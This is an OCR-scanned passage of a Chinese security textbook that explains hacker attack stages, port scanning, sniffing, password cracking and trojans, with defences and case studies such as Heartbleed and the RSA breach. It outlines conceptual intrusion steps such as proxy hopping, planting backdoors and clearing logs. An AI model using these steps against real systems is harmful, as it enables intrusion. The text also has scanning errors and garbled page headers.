与 生存 是 由 于 计算 机 及 通信 技术 设计 等 问题 ,计算 机 及 网 络 系统 的 不 健全 ,存在 许多 漏 
洞 , 才 使 黑客 攻击 有 机 可 乘 。 造 成 漏洞 的 原因 分 析 如 下 : 

(1) 网 络 协议 本 身 的 缺陷 。 如 Internet 基础 协议 TCP/IP 协议 组 ,早期 没有 考虑 安 
全 方面 的 问题 ,侧重 开放 和 互联 而 过 分 信任 协议 ,使 得 协议 的 缺陷 更 加 突出 。 


s= 黑客 攻防 与 检测 防御 
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(2) 系统 开发 的 缺陷 。 软 件 开发 没有 很 好 地 解决 保证 大 规模 软件 可 靠 性 问题 ,致使 
大 型 系统 都 可 能 存在 bug( 缺 陷 )。bug 是 指 操 作 系 统 或 系统 程序 在 设计 、 编 写 或 设置 时 
考虑 不 周全 ,在 遇 到 看 似 合 理 但 实际 上 无 法 处 理 的 问题 时 会 引发 不 可 预见 的 错误 。 漏洞 
的 产生 主要 有 4 个 方面 的 原因 : 操作 系统 基础 设计 错误 ; 源 代码 错误 (缓冲 区 、 堆 栈 溢出 
及 脚本 漏洞 等 ) ;安全 策略 施行 错误 ;安全 策略 对 象 歧义 错误 。 

(3) 系统 配置 不 当 。 有 许多 软件 是 针对 特定 环境 配置 开发 的 , 当 环 境 变 化 或 资源 配 
置 不 当时 ,就 可 能 使 本 来 很 小 的 缺陷 变 成 漏洞 。 

(4) 系统 安全 管理 中 的 问题 。 快 速 增长 的 软件 的 复杂 性 .训练 有 素 的 安全 技术 人 员 
的 不 足以 及 系统 安全 策略 的 配置 不 当 , 都 增加 了 系统 被 攻击 的 机 会 。 

【案例 5-2] 2014 年 4 月 9 日 ,代号 为 Heartbleed(“ 心 脏 出 血 ”) 的 重大 安全 漏洞 
(CVE-2014-0160) 被 曝光 。 该 漏洞 来 自 OpenSSL 这 款 开 源 的 SSL 套件 ,是 由 于 在 实现 
TLS 的 心跳 扩展 (heart beat extension) 时 没有 对 输入 进行 适当 边界 检查 而 导致 的 。 攻 击 
者 利用 该 漏洞 可 以 从 服务 器 内 存 中 读 取 用 户 名 、 密 码 和 信用 卡号 等 隐私 数据 。 比 如 获取 
用 户 的 敏感 请 求 和 响应 ,包括 POST 请 求 数据 会话 cookie 和 密码 等 ,从 而 劫持 用 户 的 身 
份 。 由 于 全 球 三 分 之 二 的 网 站 使 用 OpenSSL, 该 漏洞 让 数 千 万 人 的 数据 处 于 危险 状态 。 


2. 黑客 入 侵 通道 一 一 端口 


端口 (port) 是 设备 与 外 界 通信 交流 的 出 口 。 端 口 可 分 为 虚拟 端口 和 物理 端口 ,其 中 
虚拟 端口 指 计算 机 内 部 或 交换 机 路 由 器 内 的 端口 ,不 可 见 。 例 如 计算 机 中 的 80 端口 .21 
端口 .23 端口 等 。 物 理 端口 又 称 为 接口 ,是 可 见 端口 ,计算 机 背 板 的 RJ45 网 口 ,交换 机 路 
由 器 集线器 等 的 RJ45 端口 。 电 话 使 用 的 RJ11 插口 都 属于 物理 端口 的 范畴 。 网 络 之 间 
的 传输 和 黑客 攻击 都 是 通过 各 种 端口 作为 入 侵 通 道 。 更 准确 地 说 是 虚拟 端口 , 即 逻 辑 意 
义 上 的 端口 ,是 指 网 络 中 面向 连接 服务 和 无 连接 服务 的 通信 协议 端口 (protocol port) ,是 
一 种 抽象 的 软件 结构 。 

Em 知识 拓展 有 人 曾经 把 服务 器 比 作 房子 ,而 把 端口 比 作 通 向 不 同房 间 ( 服 务 ) 的 
门 。 入 侵 者 要 占领 这 座 房子 ,势必 要 破门 而 入 ,那么 对 于 入 侵 者 来 说 ,了 解 房子 开 了 几 启 
门 ,都 是 什么 样 的 门 , 门 后 面 有 什么 东西 就 显得 至 关 重 要 。 入 侵 者 通常 会 用 扫描 器 对 目 
标 主 机 的 端口 进行 扫描 ,以 确定 哪些 端口 是 开放 的 ,从 开放 的 端口 ,入 侵 者 可 以 知道 目标 
主机 大 致 提供 了 哪些 服务 ,进而 猜测 可 能 存在 的 漏洞 ,因此 对 端口 的 扫描 可 以 帮助 黑客 
了 解 目标 主机 ,而 对 于 管理 员 ,扫描 本 机 的 开放 端口 也 是 做 好 安全 防范 的 第 一 步 。 

【案例 5-3】 计算 机 A 通过 网 络 访问 计算 机 B 时 ,同时 需要 对 方 返回 数据 。A 随机 
创建 一 个 大 于 1023 的 端口 (A 源 端 口号 ), 告 诉 昌 返回 数据 时 把 数据 送 到 此 端口 ,然后 软 
件 开始 侦 听 此 端口 ,等 待 数 据 返 回 。B 收 到 数据 后 会 读 取 数据 包 及 目的 端口 号 ,然后 记 
录 , 当 软件 创建 了 要 返回 的 数据 后 就 把 原来 数据 包 中 的 源 端 口号 作为 目的 端口 号 ,而 把 
自己 的 端口 号 作为 源 端口 号 ,然后 再 将 数据 送 回 A。A 再 重复 这 个 过 程 , 如 此 反复 ,直到 
数据 传输 完成 。 当 数据 全 部 传输 完 以 后 ,A 就 把 源 端口 释放 出 来 ,所 以 同一 个 软件 每 次 
传输 数据 时 不 一 定 是 同一 个 源 端 口号 。 

端口 分 类 标准 有 多 种 , 按 端口 号 可 分 为 3 种 : 


<“. 
130 4 局 后 安全 实用 技术 第 2 版 ) 


(1) 公认 端口 (0 一 1023) ,又 称 常 用 端口 ,为 已 经 公认 定义 或 为 将 要 公认 定义 的 软件 
保留 的 。 这 些 端 口 紧密 绑 定 一 些 服务 且 明 确 表 示 了 某 种 服务 协议 ,如 80 端口 表示 
HTTP 协议 。 

(2) 注册 端口 (1024 一 49 151) ,又 称 保留 端口 , 这 些 端口 松散 绑 定 一 些 服 务 。 例 如 ， 
许多 系统 处 理 动态 端口 从 1024 左右 开始 。 

(3) 动态 /私有 端口 (49 152—65 535)。 理 论 上 不 为 服务 器 分 配 这 些 端口 。 实 际 上 ， 
机 器 通常 从 1024 起 分 配 动态 端口 。 但 也 有 例外 ,SUN 公司 的 RPC 端口 从 32 768 开始 。 

ER 讨论 思考 

(1) 什么 是 黑客 ? 黑客 都 是 破坏 系统 的 吗 ? 

(2) 端口 对 计算 机 有 什么 作用 ? 

(3) 黑客 在 入 侵 时 很 容易 锁定 某 一 服务 ,通过 漏洞 入 侵 系 统 , 请 举例 说 明 。 


52 黑客 攻击 的 目的 及 步骤 


黑客 实施 攻击 的 步骤 根据 其 攻击 的 目的 .目标 和 技术 条 件 等 实际 情况 而 不 尽 相 同 。 
本 节 概 括 性 地 介绍 网 络 黑客 攻击 目的 及 过 程 。 


521 黑客 攻击 的 目的 


黑客 实施 攻击 的 目的 概括 地 讲 有 两 种 : 其 一 ,为 了 得 到 资金 或 物质 利益 ;其 二 ,为 了 
满足 精神 需求 。 物 质 利益 是 指 获 取 金 钱 和 财物 ;精神 需求 是 指 满足 个 人 心理 欲望 。 

常见 的 黑客 行为 有 : 盗窃 资料 ,攻击 网 站 ,恶作剧 ,告知 漏洞 ,获取 目标 主机 系统 的 非 
法 访问 权 。 


522 黑客 攻击 的 步骤 
黑客 的 攻击 步骤 变幻 莫 测 ,但 其 整个 攻击 过 程 有 一 定 规律 ,一 般 可 分 为 5 个 步骤 。 
1. 隐藏 IP 


隐藏 IP 就 是 隐藏 黑客 的 位 置 ,以 免 被 发 现 。 典 型 的 隐藏 真实 的 IP 地 址 的 技术 是 利 
用 被 侵入 的 主机 作为 跳板 ,有 两 种 方式 。 

方式 一 : 先 人 侵 到 互联 网 上 的 一 台 计算 机 (俗称 "肉鸡 ?或 “ 倪 偶 机 ”) ,再 利用 这 台 计 
算 机 进行 攻击 ,即使 被 发 现 , 也 是 “肉鸡 ”的 IP 地 址 。 

方式 二 : 做 多 级 跳板 “Socks 代理 ”, 这 样 在 入 侵 的 计算 机 上 留 下 的 是 代理 计算 机 的 
IP 地 址 。 例 如 ,攻击 某国 的 站 点 ,一 般 选 择 远 距离 的 另 一 国家 的 计算 机 为 “肉鸡 ”, 进 行 跨 
国 攻击 ,这 类 案件 很 难 侦破 。 


2. 踩点 扫描 
踩点 扫描 主要 是 通过 各 种 途径 对 所 要 攻击 的 目标 进行 多 方 探 察 了 解 ,确保 信息 准 
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确 , 以 便 确 定 攻击 时 间 和 地 点 。 躁 点 的 目的 是 搜集 信息 ,勾勒 出 整个 网 络 的 布局 , 找 出 被 
信任 的 主机 (可 能 是 管理 员 使 用 的 机 器 或 是 一 台 被 认为 是 很 安全 的 服务 器 )。 扫 描 是 利 
用 各 种 扫描 工具 寻找 漏洞 。 


3. 获取 特权 攻击 


获取 特权 是 指 获取 管理 权限 ,目的 是 登录 到 远程 计算 机 上 ,对 其 进行 控制 ,达到 攻击 
目的 。 获 取 权 限 方式 分 为 6 种 : 由 系统 或 软件 漏洞 获取 系统 权限 ;由 管理 漏洞 获取 管理 
员 权 限 ;由 监听 获取 敏感 信息 ,进一步 获取 相应 权限 ;以 弱 口 令 或 穷 举 法 获取 远程 管理 员 
的 用 户 密码 ;攻破 与 目标 主机 有 信任 关系 的 另 一 台 计算 机 ,进而 得 到 目标 主机 的 控制 权 ; 
用 欺骗 等 方式 获取 权限 。 


4. 种 植 后 门 


种 植 后 门 即 黑客 利用 程序 的 漏洞 进入 系统 后 安装 后 门 程序 ,以 便 日 后 可 以 不 被 察觉 
地 再 次 进入 系统 。 多 数 后 门 程序 (木马 ) 是 预先 编译 好 的 ,只 需要 想 办 法 修改 时 间 和 权限 
就 可 以 使 用 。 黑 客 一 般 使 用 特殊 方法 传递 这 些 文件 ,以 便 不 留 下 FTP 记录 。 


5. 隐身 退出 


黑客 一 旦 确认 自己 是 安全 的 ,就 开始 实施 攻击 ,为 了 避免 被 发 现 ,黑客 在 人 侵 完 毕 后 
会 及 时 清除 登录 日 志 以 及 其 他 相关 日 志 , 隐 身 退 出 。 

【案例 5-4】 2011 年 3 月 ,RSA 公司 遭受 入 侵 , 部 分 SecurID 技术 及 客户 资料 被 盗 
取 。 导 致 很 多 使 用 SecurID 作为 认证 凭证 建立 VPN 的 公司 ,包括 洛克 项 德 。 马丁 、 诺 斯 
罗 普 。， 格 鲁 曼 等 美国 国防 外 包 商 受到 攻击 ,重要 资料 被 盗 窍 。 图 5-1 是 攻击 过 程 的 示 
意图 。 


名 攻击 者 给 RSA 的 母 公 司 EMC 员 工 发 送 两 组 恶意 邮件 ， 附 件 “2011 Recruitment 
plan.xls" 利 用 当时 最 新 的 Adobe Flash Oday 漏 洞 (CVE-2011-0609) 


1 
加 其 中 一 位 员工 将 其 从 垃圾 邮件 中 取出 来 阅读 ， 被 该 漏洞 成 功利 用 ， 该 员工 
主机 随即 被 植 入 木马 程序 ， 开 始 从 服务 器 中 猎取 指令 并 执行 


@ 首 批 受害 者 并 非 “ 位 高 权重 "人 物 ， 但 紧 接 着 相关 联 的 设备 遭 到 入 侵 


1 


@RSA 发 现 开发 用 服务 器 遭 入 侵 ， 攻击 方 随即 撤离 ， 加 密 并 压缩 所 有 资料 
(rar 格 式 )， 并 以 FTP 传 送 至 远 端 主机 ， 又 迅速 再 次 撤离 该 主机 ， 清 除 任何 踪迹 


回 攻击 者 拿 到 SecurID 信 息 后 ， 开 始 对 使 用 SecurID 。 公 司 进一步 发 起 攻击 


5-1 黑客 攻击 企业 内 部 局 域 网 过 程 示意 图 


[讨论 思考 
(1) 简 述 黑客 攻击 的 目的 与 具体 步骤 。 
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(2) 黑客 找到 攻击 目标 后 ,会 继续 哪 几 步 操作 ? 
(3) 黑客 的 实际 攻击 行为 有 哪些 ? 


53 常用 黑客 攻击 防御 技术 


防范 黑客 攻击 是 网 络 安全 工作 的 主要 课题 ,掌握 黑客 攻击 防御 技术 可 以 有 效 地 预防 
攻击 。 本 节 将 对 端口 扫描 、 网 络 监 听 、 密 码 破解 ,特洛伊 木马 .缓冲 区 溢出 和 拒绝 服务 等 
常用 黑客 攻防 技术 进行 分 析 。 


531 端口 扫描 攻防 


在 网 络 传输 中 ,各 种 服务 采用 不 同 的 端口 分 别提 供 不 同 的 服务 。 端 口 最 大 可 以 有 65 
535 个 ,实际 上 常用 的 端口 才 几 十 个 ,由 此 可 以 看 出 更 多 的 端口 没有 被 使 用 。 黑 客人 侵 可 
以 采用 多 种 手段 开启 特定 的 端口 ,作为 再 次 进入 系统 的 通道 , 即 通常 的 “后 门 >。 还 有 一 
些 应 用 不 被 应 用 ,但 是 端口 通常 开放 ,这 些 端口 经 常 被 人 侵 者 利用 ,成 为 入 侵 的 便利 渠 
道 , 因 此 端口 扫描 成 为 人 侵 锁定 对 象 的 重要 方式 。 但 是 在 系统 安全 防护 过 程 中 ,端口 扫 
描 也 成 为 管理 员 发 现 系 统 安全 漏洞 ,加 强 系统 安全 管理 ,提高 系统 安全 性 能 的 有 效 方法 。 
同时 ,端口 扫描 也 成 为 黑客 发 现 和 获取 主机 信息 的 一 种 最 佳 手段 。 


1. 端口 扫描 及 扫描 器 


一 个 端口 就 是 一 个 潜在 的 通信 通道 ,也 就 是 一 个 人 侵 通 道 。 对 目标 计算 机 进行 端口 
扫描 ,能 得 到 许多 有 用 的 信息 ,从 而 发 现 系统 的 安全 漏洞 。 进 行 扫描 的 方法 很 多 ,可 以 是 
手工 进行 扫描 ,也 可 以 用 端口 扫描 软件 进行 扫描 。 


2. 端口 扫描 方式 


端口 扫描 的 方式 有 手工 命令 行 方 式 和 使 用 端口 扫描 工具 进行 扫描 。 在 手工 进行 扫 
描 时 ,需要 熟悉 各 种 命令 ,对 命令 执行 后 的 输出 进行 分 析 , 如 ping 命令 、tracert 命令 ( 跟 
踪 一 个 消息 从 一 台 计 算 机 到 另 一 台 计 算 机 所 走 的 路 径 ) .rusers 和 finger 命令 (这 两 个 都 
是 UNIX 命令 ,能 收集 目标 机 上 的 有 关 用 户 的 消息 ) 等 。 

端口 扫描 工具 及 方式 如 下 : 

(1) TCP connect 扫描 。TCP connect 是 最 基本 的 一 种 扫描 方式 。connect() 是 一 种 
系统 调用 ,由 操作 系统 提供 ,其 功能 是 打开 一 个 连接 。 如 果 端 口 正在 被 监听 ,connect() 就 
成 功 返 回 ;否则 , 则 说 明 端 口 不 可 访问 。 使 用 TCP connect 不 需要 任何 特权 ,任何 UNIX 
用 户 都 可 以 使 用 这 个 系统 调用 。 

(2) TCP SYN 扫描 。SYN(synchronize) 是 TCP/IP 建立 连接 时 使 用 的 握手 信号 。 
TCP SYN 扫描 常 被 称 为 半 开 扫描 ,因为 并 不 是 一 个 全 TCP 连接 。 发 送 一 个 SYN 数据 
包 , 就 好 像 准 备 打开 一 个 真正 的 连接 ,然后 等 待 响 应 (一 个 SYN/ACK 表明 该 端口 正在 被 
监听 ,一 个 RST( 复 位 ) 响 应 表明 该 端口 没有 被 监听 ) 。 如 果 收 到 一 个 SYN/ACK, 则 通过 
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立即 发 送 一 个 RST 来 关闭 连接 。 这 样 做 的 好 处 是 极 少 有 主机 记录 这 种 连接 请 求 。 

另外 ,还 一 些 免费 端口 扫描 工具 可 供 使 用 。 如 SuperScan、X-Scan、Fluxay、Angry IP 
Scanner 和 NSE 等 。SuperScan 软件 下 载 后 直接 解压 就 可 使 用 ,没有 安装 程序 ,是 一 款 绿 
色 软 件 ,与 IP 扫描 有 关 的 功能 几乎 全 能 做 到 ,上 且 每 个 功能 都 很 专业 。 其 功能 如 下 : 

。 通过 ping 来 检验 指定 主机 IP 是 否 在 线 。 

。 IP 和 域名 相互 转换 。 

。 检验 目标 计算 机 提供 的 服务 类 别 。 

。 检验 一 定 范围 目标 计算 机 是 否 在 线 和 端口 情况 。 

。 自 定义 要 检验 的 端口 ,并 可 以 保存 为 端口 列表 文件 。 

° 自 带 一 个 木马 端口 列表 trojans. lst, 并 以 此 检测 木马 是 否 存 在 ,可 以 自 定义 修改 

此 列表 。 


3. 端口 扫描 攻击 


端口 扫描 攻击 采用 探测 技术 ,攻击 者 可 将 它 用 于 寻找 能 够 成 功 攻击 的 服务 。 常 用 端 
口 扫 描 攻击 如 下 : 

(1) 秘密 扫描 。 不 能 被 用 户 使 用 审查 工具 检测 出 来 的 扫描 。 

(2) Socks 端口 探测 。Socks 是 一 种 允许 多 台 计 算 机 共享 公用 Internet 连接 的 系统 。 
如 果 Socks 配置 有 错误 ,将 允许 任意 的 源 地 址 和 目标 地 址 通行 。 

(3) 跳 路 扫描。 攻击 者 快速 地 在 Internet 中 寻找 可 供 他 们 进行 跳跃 攻击 的 系统 。 
FTP 跳跃 扫描 使 用 了 FTP 协议 自身 的 一 个 缺陷 。 其 他 的 应 用 程序 ,如 电子 邮件 服务 器 、 
HTTP 代理 ,指针 等 都 存在 着 攻击 者 可 进行 跳跃 攻击 的 弱点 。 

(4) UDP 扫描 。 对 UDP 端口 进行 扫描 ,寻找 开放 的 端口 。UDP 的 应 答 有 着 不 同 的 
方式 ,为 了 发 现 UDP 端口 ,攻击 者 们 通常 发 送 空 的 UDP 数据 包 , 如 果 该 端口 正 处 于 监听 
状态 ,将 发 回 一 个 错误 消息 或 不 理 皮 流 入 的 数据 包 ; 如 果 该 端口 是 关闭 的 ,大 多 数 的 操作 
系统 将 发 回 *ICMP 端口 不 可 到 达 ” 的 消息 ,这 样 ,就 可 以 发 现 一 个 端口 到 底 有 没有 打开 ， 
通过 排除 方法 确定 哪些 端口 是 打开 的 。 


4. 应 对 扫描 的 防范 对 策 


端口 扫描 的 防范 又 称 加 固 系统 。 在 网 络 关 键 处 打 补 丁 并 用 防火 墙 对 来 源 不 明 的 有 
害 数据 过 滤 可 有 效 减 少 端口 扫描 攻击 。 此 外 ,防范 端口 扫描 的 主要 方法 有 两 种 。 

(1) 防止 IP 地 址 的 扫描 。IP 地 址 是 为 互联 网 中 每 一 台 主机 分 配 的 一 个 逻辑 地 址 ， 
对 IP 地 址 的 扫描 可 以 锁定 一 台 计 算 机 ,由 此 对 它 进行 攻击 。 这 里 可 以 通过 代理 服务 器 
保护 局 域 网 的 安全 ,起 到 防火 墙 的 作用 。 对 于 使 用 代理 服务 器 的 局 域 网 来 说 ,在 外 部 看 
来 只 有 代理 服务 器 是 可 见 的 ,其 他 局 域 网 的 用 户 对 外 是 不 可 见 的 ,代理 服务 器 为 局 域 网 
的 安全 起 到 了 屏障 的 作用 。 另 外 ,通过 代理 服务 器 ,用 户 可 以 设置 IP 地 址 过 滤 , 限 制 内 
部 网 对 外 部 的 访问 权限 。 

(2) 端口 往往 是 系统 入 侵 探测 的 重要 途径 ,因此 对 端口 进行 安全 防护 是 必要 的 ,可 以 
关闭 闲置 及 有 潜在 危险 的 端口 或 设置 系统 不 响应 任何 ping 的 请 求 。 在 Windows 中 要 关 


134 


<. 
(58 2 2 3 Bb 第 2 版 ) 


闭 一 些 闲 置 端口 是 比较 方便 的 ,可 以 采用 “定向 关闭 指定 服务 的 端口 ?和 “只 开放 允许 端 
口 的 方式 ”。 计 算 机 的 一 些 网 络 服务 会 由 系统 分 配 默认 的 端口 ,将 一 些 闲 置 的 服务 关闭 ， 
其 对 应 的 端口 也 会 被 关闭 。 


532 网 络 监听 攻防 


1. 网 络 监听 


网 络 监听 是 指 通过 某 种 手段 监视 网 络 状态 .数据 流 以 及 网 络 上 传输 信息 的 行为 。 网 
络 监听 是 主机 的 一 种 工作 模式 。 在 此 模式 下 ,主机 可 以 接收 到 本 网 段 在 同一 条 物理 通道 
上 传输 的 所 有 信息 ,而 不 管 这 些 信息 的 发 送 方 和 接收 方 是 谁 。 此 时 ,如 果 两 台 主 机 进行 
通信 的 信息 没有 加 密 , 只 要 使 用 某 些 网 络 监 听 工 具 可 以 轻而易举 地 截取 包括 口令 和 账号 
在 内 的 信息 资料 (如 NetXray for Windows 95/98/NT,Sniffit for Linux、 Solaries 等 )。 
网 络 监听 可 以 在 网 上 的 任何 一 个 位 置 实施 ,如 局 域 网 中 的 一 台 主 机 、 网 关上 或 远程 网 服 
务 器 路 由 等 。 


2. 网 络 监听 的 检测 


网 络 监听 很 难 被 发 现 ,因为 运行 网 络 监听 的 主机 只 是 被 动 地 接收 在 局 域 网 上 传输 的 
信息 ,不 主动 地 与 其 他 主机 交换 信息 ,也 没有 修改 在 网 上 传输 的 数据 包 。 在 Linux 下 对 
嗅 探 攻 击 的 程序 检测 方法 比较 简单 ,一 般 只 要 检查 网 卡 是 否 处 于 混杂 模式 就 可 以 了 ;而 
在 Windows 平台 中 并 没有 现成 的 函数 可 供 实 现 这 个 功能 ,可 以 执行 C:\Windows\ 
Drwatson. exe 程序 检查 一 下 是 否 有 嗅 探 程序 在 运行 即 可 。 


533 密码 破解 攻防 


由 于 网 络 操作 系统 及 其 各 种 应 用 软件 的 安全 主要 靠 口令 认证 方式 来 实现 ,所 以 黑客 
入 侵 的 前 提 是 得 到 合法 用 户 的 账号 和 密码 。 只 要 黑客 能 破解 得 到 这 些 机 密 信息 ,就 能 够 
获取 计算 机 或 网 络 系统 的 访问 权 ,并 能 得 到 任何 资源 。 


1. 密码 破解 攻击 的 方法 


密码 破解 攻击 常 采用 以 下 几 种 方法 : 

(1) 通过 网 络 监听 非法 得 到 用 户口 令 。 这 类 方法 有 一 定 的 局 限 性 ,但 危害 性 极 大 。 
监听 者 往往 能 够 获取 其 所 在 网 段 的 所 有 用 户 账号 和 口令 ,对 局 域 网 安全 威胁 巨大 ,参见 
67 Ye 

(2) 利用 Web 页 面 欺骗 。 攻 击 者 将 用 户 浏 览 的 网 页 URL 地 址 改写 成 指向 自己 的 服 
务 器 , 当 用 户 浏览 目标 网 页 时 ,如 果 用 户 在 这 个 伪造 页 面 中 填写 有 关 的 登录 信息 ,如 账户 
名 称 、 密 码 等 ,这 些 信息 就 会 被 传送 到 攻击 者 的 Web 服务 器 。 攻 击 者 在 获取 一 个 服务 器 
上 的 用 户口 令 文件 (此 文件 称 为 Shadow 文件 ) 后 ,用 暴力 破解 程序 破解 用 户口 令 。 该 方 
法 的 使 用 前 提 是 黑客 获取 口令 的 Shadow 文件 。 

(3) 强行 破解 用 户口 令 。 当 攻击 者 知道 用 户 的 账号 后 ,就 可 以 利用 一 些 专 门 的 密码 


s= =zxnspanma 
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破解 工具 进行 破解 。 例 如 采用 字典 穷 举 法 ,此 法 采用 破解 工具 自动 从 定义 的 字典 中 取出 
一 个 单词 ,作为 用 户 的 口令 尝试 登录 ,如 果 口 令 错 误 ,就 按 序 取出 下 一 个 单词 再 进行 尝 
试 ,直到 找到 正确 的 口令 或 者 字典 的 单词 测试 完成 为 止 。 这 种 方法 不 受 网 段 限制 ,但 攻 
击 者 要 有 足够 的 耐心 和 时 间 。 

(4) 密码 分 析 的 攻击 。 对 密码 进行 分 析 的 尝试 称 为 密码 分 析 攻 击 。 密 码 分 析 攻 击 方 
法 需要 有 一 定 的 密码 学 和 数学 基础 。 常 用 的 密码 分 析 攻 击 有 4 类 : 唯 密 文 攻击 ,已 知 明 
文 攻击 .选择 明文 攻击 .选择 密 文 攻击 。 

(5) 放置 木马 程序 。 一 些 木 马 程序 能 够 记录 用 户 通 过 键盘 输入 的 密码 或 密码 文件 并 
发 送 给 攻击 者 ,具体 内 容 将 在 5. 3.4 节 介 绍 。 


2. 密码 破解 防范 对 策 


要 防止 密码 被 破解 ,保持 密码 安全 性 能 ,系统 管理 员 必须 定期 运行 破译 密码 的 工具 
来 尝试 破译 Shadow 文件 ,车 有 用 户 的 密码 被 破译 出 ,说 明 这 些 用 户 的 密码 设置 过 于 简单 
或 有 规律 可 循 ,应 尽快 通知 用 户 及 时 更 改 密码 ,以 防 黑客 攻击 ,造成 财产 和 其 他 损失 。 通 
常情 况 下 用 户 应 注意 如 下 要 点 : 

(1) 不 要 将 密码 写 下 来 ,以 免 遗 失 。 

(2) 不 要 将 密码 保存 在 计算 机 文件 中 。 

(3) 不 要 选取 显而易见 的 信息 做 密码 。 

(4) 不 要 让 他 人 知道 密码 。 

(5) 不 要 在 不 同系 统 中 使 用 同一 密码 。 

【案例 5-5】 海 康 威 视 陷 “ 安 全 门 ”事件 。2014 £ 8 月 19 日 , 海 康成 视 DVR、NVR 
产品 的 返修 数量 非 正常 升 高 ,发 现 系 网 络 攻击 导致 。 经 排查 ,被 攻击 的 设备 均 应 用 于 互 
联网 且 未 修改 设备 初始 密码 ,黑客 直接 利用 初始 密码 进行 Telnet 登录 ,并 植 入 脚本 文件 ， 
进而 挟持 、 破 坏 设备 固件 。 


534 特洛伊 木马 攻防 


1. 特洛伊 木马 概述 


特洛伊 木马 (Trojan horse) 简称 木马 。 据 说 这 个 名 称 来 源 于 希腊 神话 《木马 屠城 
记 》。 古 希腊 有 大 军 围攻 特洛伊 城 ,久久 无 法 攻 下 。 于 是 有 人 献计 制造 一 只 高 二 丈 的 大 
木马 ,让 士兵 藏匿 于 巨大 的 木马 中 ,大 部 队 假 装 撤 退 而 将 木马 按 弃 于 特洛伊 城下 。 城 中 
得 知 解围 的 消息 后 , 送 将 木马 作为 奇异 的 战利品 拖 入 城内 ,全 城 饮酒 狂欢 。 到 午夜 时 分 ， 
全 城 军民 进入 梦乡 , 匿 于 木马 中 的 将 士 开 秘 门 缘 绳 而 下 ,开启 城 门 及 四 处 纵火 , 城 外 伏兵 
涌 入 ,部 队 里 应 外 合 , 焚 层 特洛伊 城 。 后 世 称 这 只 大 木马 为 “特洛伊 木马 ”。 黑 客 程 序 借 
用 其 名 ,将 隐藏 在 正常 程序 中 的 一 段 具 有 特殊 功能 的 代码 称 木 马 ,是 一 些 具 备 破坏 和 删 
除 文件 ,发送 密码 .记录 键盘 和 攻击 等 特殊 功能 的 后 门 程序 。 

特洛伊 木马 的 特点 是 伪装 、 诱 使 用 户 将 其 安装 在 PC 或 者 服务 器 上 ,直接 侵入 用 户 的 
计算 机 并 进行 破坏 ,没有 复制 能 力 。 一 般 的 木马 执行 文件 非常 小 ,如 果 把 木马 捆绑 到 其 
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他 正常 文件 上 ,用 户 很 难 发 现 。 特 洛 伊 木 马 可 以 和 最 新 病毒 .漏洞 一 起 使 用 ,几乎 可 以 躲 
过 各 大 杀毒 软件 ,尽管 现在 越 来 越 多 的 新 版 的 杀毒 软件 可 以 查 杀 一 些 木马 了 ,但 不 要 认 
为 使 用 有 名 的 杀毒 软件 就 绝对 安全 ,木马 永远 是 防不胜防 的 。 

一 个 完整 的 木马 系统 由 硬件 部 分 、 软 件 部 分 和 具体 连接 部 分 组 成 。 一 般 的 木马 程序 
都 包括 客户 端 和 服务 端 两 个 程序 ,客户 端 用 于 远程 控制 植 入 的 木马 ,服务 器 端 即 是 木马 
程序 。 


2. 特洛伊 木马 攻击 过 程 


木马 入 侵 的 主要 途径 目前 还 是 利用 下 载 软件 .邮件 附件 等 先 设法 把 木马 程序 以 插件 
的 方式 放置 到 被 攻击 者 的 计算 机 系统 里 ,然后 通过 提示 故意 误导 被 攻击 者 打开 可 执行 文 
件 (木马 ) 。 木 马 也 可 以 通过 Scripts、ActiveX 及 ASP. CGI 交互 脚本 的 方式 植 入 ,以 及 利 
用 系统 的 一 些 漏洞 进行 植 和 人 ,如 微软 著名 的 US 服务 器 溢出 漏洞 。 

【案例 5-6] 利用 微软 Scripts 脚本 漏洞 对 浏览 者 硬盘 进行 格式 化 的 HTML 页 面 。 
如 果 攻 击 者 有 办 法 把 木马 执行 文件 下 载 到 被 攻击 主机 的 一 个 可 执行 的 WWWW 目录 里 ,就 
可 以 通过 编制 CGI 程序 在 攻击 主机 上 执行 木马 。 

在 客户 端 和 服务 端 通信 协议 的 选择 上 , 绝 大 多 数 木马 使 用 的 是 TCP/IP 协议 ,但 是 ， 
也 有 一 些 木马 由 于 特殊 的 原因 ,使 用 UDP 协议 进行 通信 。 当 服务 端 程序 在 被 感染 计算 
机 上 成 功 运行 以 后 ,攻击 者 就 可 以 使 用 客户 端 与 服务 端 建立 连接 ,并 进一步 控制 被 感染 
的 计算 机 。 木 马 会 尽量 把 自己 隐藏 在 计算 机 的 某 个 角落 ,以 防 被 用 户 发 现 ; 同 时 监听 某 
个 特定 的 端口 等待 客户 端 与 其 取得 连接 ,实施 攻击 。 另 外 ,为 了 下 次 重启 计算 机 时 木马 
仍然 能 正常 工作 ,木马 程序 一 般 会 通过 修改 注册 表 或 其 他 方法 成 为 自 启动 程序 。 

使 用 木马 工具 进行 网 络 人 侵 的 基本 过 程 可 以 分 为 6 个 步骤 : 配置 木马 ,传播 木马 , 运 
行 木马 ,获取 信息 ,建立 连接 ,远程 控制 。 


3. 网 页 挂 马 


网 页 挂 马 本 质 上 就 是 一 个 或 者 若干 Web 页 面 ,通常 挂 接 在 被 攻击 成 功 的 网 站 上 , 针 
对 访问 该 页 面 的 用 户 , 利 用 Web 浏览 器 、 插 件 、 客 户 端 应 用 软件 的 缓冲 溢出 漏洞 等 向 用 
户 植 人 木马 程序 ,从 而 窃取 敏感 信息 和 虚拟 资产 ,如 图 5-2 所 示 。 


进行 攻击 放置 病毒 存在 漏洞 的 
黑客 — — 网 站 


图 5-2 网 页 挂 马 过 程 


s= 黑客 攻防 与 检测 防御 


4. 木马 的 防范 对 策 


针对 木马 的 防范 对 策 如 下 : 

。 必须 提高 防范 意识 ,在 打开 或 下 载 文件 之 前 ,一定 要 确认 文件 的 来 源 是 否 可 靠 。 
° 阅读 软件 的 readme. txt, 并 注意 readme. exe, 

。 使 用 杀毒 软件 。 

。 发 现 有 不 正常 现象 出 现 立 即 挂 断 。 

监测 系统 文件 和 注册 表 的 变化 。 

。 备份 文件 和 注册 表 。 

特别 需要 注意 的 是 不 要 轻易 运行 来 历 不 明 的 软件 或 从 网 上 下 载 的 软件 ,即使 通过 
了 一 般 反 病毒 软件 的 检查 也 不 要 轻易 运行 。 

。 不 要 轻易 相信 熟人 发 来 的 E-mail 不 会 有 黑客 程序 。 

。 不 要 在 聊天 室内 公开 自己 的 E-mail 地 址 ,对 来 历 不 明 的 E-mail 应 立即 清除 。 

。 不 要 随便 下 载 软件 ,特别 是 不 可 靠 的 FTP 站 点 。 

